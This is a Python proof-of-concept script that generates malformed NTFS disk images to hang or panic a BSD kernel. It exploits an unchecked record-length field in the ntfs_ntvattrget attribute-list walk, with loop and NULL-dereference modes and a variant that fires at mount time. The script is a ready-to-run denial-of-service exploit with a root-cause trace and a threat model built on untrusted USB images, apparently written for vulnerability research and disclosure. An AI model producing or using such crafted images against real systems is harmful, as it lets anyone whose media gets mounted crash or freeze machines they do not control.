#!/usr/bin/env python3
"""
gen_ntfs_0790.py — Crafted NTFS images that trigger the unbounded ATTRLIST
walk in ntfs_ntvattrget() (sys/vfs/ntfs/ntfs_subr.c:196-236).

DF-0790 root cause (confirmed by source trace):
  186:   len = lvap->va_datalen;
  187:   alpool = kmalloc(len, M_TEMP, M_WAITOK);
  188:   error = ntfs_readntvattr_plain(ntmp, ip, lvap, 0, len, alpool, &len, NULL);
  ...
  196:   for(; len > 0; aalp = nextaalp) {
  202:       if (len > aalp->reclen) {
  203:           nextaalp = NTFS_NEXTREC(aalp, struct attr_attrlist *);
  204:       } else {
  205:           nextaalp = NULL;
  206:       }
  207:       len -= aalp->reclen;        // <-- NO CHECK that reclen != 0 / <= len
  ...
  236:   }

Two malformed shapes:
  * loop : an attr-list entry with reclen == 0  -> infinite loop / kernel hang.
  * null : an attr-list entry with reclen > len  -> size_t underflow, then the
           next iteration dereferences nextaalp == NULL -> kernel panic.

REACHABILITY (mount-time / first post-mount attribute lookup):
  The ATTRLIST walk is entered only when an attribute is requested that is NOT
  present inline in the MFT record, but a $ATTRIBUTE_LIST (type 0x20) attribute
  IS present (ntfs_findvattr returns -1 with lvap = ATTRLIST, ntfs_subr.c:133).
  To force this on ino 5 (root dir) we:
    1. keep the resident $INDEX_ROOT ($I30) attribute INLINE (so the dir loads),
    2. add a resident $ATTRIBUTE_LIST (type 0x20) attribute whose DATA is a
       crafted list of attr_attrlist entries with reclen == 0 (mode 'loop') or
       a final entry whose reclen exceeds the remaining buffer (mode 'null'),
    3. the entry references an attribute type NOT present inline (e.g. 0x80
       $DATA) so ntfs_findvattr does not short-circuit on the first call.

  When something later asks the kernel for $DATA on ino 5 (or any attr not
  inline), ntfs_ntvattrget enters the buggy walk.

  Threat model: standard filesystem-image model — root must issue mount_ntfs
  (an admin auto-mounting an untrusted USB stick / image, or a crafted image
  placed where root will mount it). The post-mount attribute request that
  reaches ntfs_ntvattrget is unprivileged (any local user with execute on the
  mountpoint can stat() / open() files).

Usage:  python3 gen_ntfs_0790.py {loop|null|all} [out.img]
"""
import struct, sys, os

# Re-use the proven minimal-NTFS scaffolding from the sibling DF-0786 PoC.
HERE = os.path.dirname(os.path.abspath(__file__))
SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py')
sys.path.insert(0, os.path.dirname(SIBLING))
import importlib.util
spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING)
gen_ntfs = importlib.util.module_from_spec(spec)
spec.loader.exec_module(gen_ntfs)

# constants from the sibling generator (mirror its image geometry)
BPS = gen_ntfs.BPS
SPC = gen_ntfs.SPC
CLUS = gen_ntfs.CLUS
MFTCN = gen_ntfs.MFTCN
MFTRECBYTES = gen_ntfs.MFTRECBYTES
NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS

NTFS_A_ATTRLIST  = 0x20      # $ATTRIBUTE_LIST
NTFS_A_INDXROOT  = gen_ntfs.NTFS_A_INDXROOT   # 0x90
NTFS_A_DATA      = gen_ntfs.NTFS_A_DATA       # 0x80
NTFS_FRFLAG_DIR  = gen_ntfs.NTFS_FRFLAG_DIR
FILE_MAGIC       = gen_ntfs.FILE_MAGIC
END_ATTR         = gen_ntfs.END_ATTR


def make_attrlist_entry(atype, reclen, inumber=5, vcnstart=0):
    """Build a single struct attr_attrlist entry (26 fixed bytes + 0 name).

    struct attr_attrlist (ntfs.h:144-154):
      u32 al_type; u16 reclen; u8 al_namelen; u8 al_nameoff;
      u64 al_vcnstart; u32 al_inumber; u32 reserved; u16 al_index; u16 al_name[];
    Fixed part (no name) = 4+2+1+1+8+4+4+2 = 26 bytes.
    """
    e = bytearray(26)
    struct.pack_into('<I', e, 0, atype)        # al_type
    struct.pack_into('<H', e, 4, reclen)       # reclen  (the buggy field)
    e[6] = 0                                   # al_namelen
    e[7] = 0                                   # al_nameoff
    struct.pack_into('<Q', e, 8, vcnstart)     # al_vcnstart
    struct.pack_into('<I', e, 16, inumber)     # al_inumber
    struct.pack_into('<I', e, 20, 0)           # reserved
    struct.pack_into('<H', e, 24, 0)           # al_index
    return bytes(e)


def make_attrlist_data(mode):
    """Build the resident data of the $ATTRIBUTE_LIST attribute.

    mode == 'loop' : one entry with reclen == 0  -> infinite loop.
    mode == 'null' : one entry with reclen > data length -> size_t underflow,
                     then nextaalp == NULL is dereferenced.
    """
    if mode == 'loop':
        # One $DATA (0x80) entry referencing ino 5, reclen == 0.
        # ntfs_ntvattrget walks it forever: len never decreases, aalp never moves.
        return make_attrlist_entry(NTFS_A_DATA, reclen=0, inumber=5)
    elif mode == 'null':
        # One $DATA entry whose reclen (32) exceeds the 26-byte data buffer.
        # In the kernel: len(=26) <= reclen(=32) -> else branch nextaalp=NULL;
        # len -= 32 underflows size_t to ~2^64-6; next iter dereferences NULL.
        return make_attrlist_entry(NTFS_A_DATA, reclen=32, inumber=5)
    else:
        raise ValueError(f"unknown mode {mode!r}")


def build_mft_record_5_with_attrlist(mode):
    """ino 5 (root dir) carrying a crafted $ATTRIBUTE_LIST attribute.

    Layout of the inline attribute list in the MFT record:
      [ $INDEX_ROOT ($I30) resident ]  -- keeps the dir loadable
      [ $ATTRIBUTE_LIST resident     ] -- crafted data per `mode`
      [ end-of-attributes marker     ]
    """
    # resident $INDEX_ROOT ($I30), same as the clean image
    iroot_data = gen_ntfs.make_index_root_data()
    attr_indxroot = gen_ntfs.make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30")

    # resident $ATTRIBUTE_LIST with the crafted walk data
    al_data = make_attrlist_data(mode)
    attr_attrlist = gen_ntfs.make_attr_resident(NTFS_A_ATTRLIST, al_data, name=None)

    attr_data = attr_indxroot + attr_attrlist

    # Assemble the 4096-byte FILE record by hand (mirror make_file_record,
    # which only takes a single attr blob — concatenation works the same way).
    rec = bytearray(MFTRECBYTES)
    attroff = 72
    struct.pack_into('<I', rec, 0, FILE_MAGIC)
    struct.pack_into('<H', rec, 4, 48)                           # fh_foff
    struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1)       # fh_fnum = 9
    struct.pack_into('<H', rec, 16, 1)                           # fr_seqnum
    struct.pack_into('<H', rec, 18, 1)                           # fr_nlink
    struct.pack_into('<H', rec, 20, attroff)                     # fr_attroff
    struct.pack_into('<H', rec, 22, NTFS_FRFLAG_DIR)             # fr_flags
    used = attroff + len(attr_data) + 4
    struct.pack_into('<I', rec, 24, used)                        # fr_size
    struct.pack_into('<I', rec, 28, MFTRECBYTES)                 # fr_allocated
    rec[attroff:attroff + len(attr_data)] = attr_data
    struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR)

    return gen_ntfs.apply_fixups(bytes(rec))


def build_image(mode):
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = gen_ntfs.build_mft_record_0()
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    mft_records[5]  = build_mft_record_5_with_attrlist(mode)
    mft_records[6]  = gen_ntfs.build_mft_record_6()
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase

    return bytes(img)


def build_mft_record_6_with_attrlist(mode):
    """ino 6 ($Bitmap) carrying ONLY a corrupted $ATTRIBUTE_LIST (no inline $DATA).

    This is the MOUNT-TIME trigger: during ntfs_mountfs, VFS_VGET(NTFS_BITMAPINO)
    -> ntfs_vgetex(NTFS_A_DATA) -> ntfs_filesize -> ntfs_ntvattrget(NTFS_A_DATA).
    Since $DATA is not inline, ntfs_findvattr returns -1 with lvap=$ATTRIBUTE_LIST,
    and the buggy ATTRLIST walk (ntfs_subr.c:196-236) fires DURING MOUNT --
    before any directory lookup, so the sibling DF-0786 lockmgr bug cannot
    interfere. The walk entry references $DATA at ino 7, but the bug
    (loop/panic) manifests before ntfs_vgetex(ino 7) is reached.
    """
    al_data = make_attrlist_data(mode)
    attr_attrlist = gen_ntfs.make_attr_resident(NTFS_A_ATTRLIST, al_data, name=None)
    attr_data = attr_attrlist   # ONLY the ATTRLIST, no inline $DATA

    rec = bytearray(MFTRECBYTES)
    attroff = 72
    struct.pack_into('<I', rec, 0, FILE_MAGIC)
    struct.pack_into('<H', rec, 4, 48)
    struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1)
    struct.pack_into('<H', rec, 16, 1)                           # fr_seqnum
    struct.pack_into('<H', rec, 18, 1)                           # fr_nlink
    struct.pack_into('<H', rec, 20, attroff)                     # fr_attroff
    struct.pack_into('<H', rec, 22, 0)                           # fr_flags (regular file)
    used = attroff + len(attr_data) + 4
    struct.pack_into('<I', rec, 24, used)
    struct.pack_into('<I', rec, 28, MFTRECBYTES)
    rec[attroff:attroff + len(attr_data)] = attr_data
    struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR)
    return gen_ntfs.apply_fixups(bytes(rec))


def build_image_mount(mode):
    """Mount-time trigger variant: corrupted $ATTRIBUTE_LIST on ino 6 ($Bitmap).

    ino 5 stays clean (well-formed root dir) so the mount proceeds past the
    system-MFT load; the bug fires when ntfs_filesize reads ino 6's $DATA.
    """
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = gen_ntfs.build_mft_record_0()
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    mft_records[5]  = gen_ntfs.build_mft_record_5()    # clean root dir
    mft_records[6]  = build_mft_record_6_with_attrlist(mode)  # corrupted bitmap
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase

    return bytes(img)


def main():
    if len(sys.argv) < 2:
        print(__doc__)
        sys.exit(2)
    mode = sys.argv[1]
    # modes prefixed with "mount_" produce the mount-time trigger variant
    # (corrupted $ATTRIBUTE_LIST on ino 6/$Bitmap instead of ino 5/root dir).
    if mode == 'all':
        for m in ('loop', 'null'):
            out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_{m}.img'
            img = build_image(m)
            with open(out, 'wb') as f:
                f.write(img)
            print(f"[{m}] wrote {out}: {len(img)} bytes")
    elif mode == 'all_mount':
        for m in ('loop', 'null'):
            out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_mount_{m}.img'
            img = build_image_mount(m)
            with open(out, 'wb') as f:
                f.write(img)
            print(f"[mount_{m}] wrote {out}: {len(img)} bytes")
    elif mode.startswith('mount_'):
        sub = mode[len('mount_'):]
        out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_{mode}.img'
        img = build_image_mount(sub)
        with open(out, 'wb') as f:
            f.write(img)
        print(f"[mount_{sub}] wrote {out}: {len(img)} bytes")
    else:
        out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_{mode}.img'
        img = build_image(mode)
        with open(out, 'wb') as f:
            f.write(img)
        print(f"[{mode}] wrote {out}: {len(img)} bytes")


if __name__ == '__main__':
    main()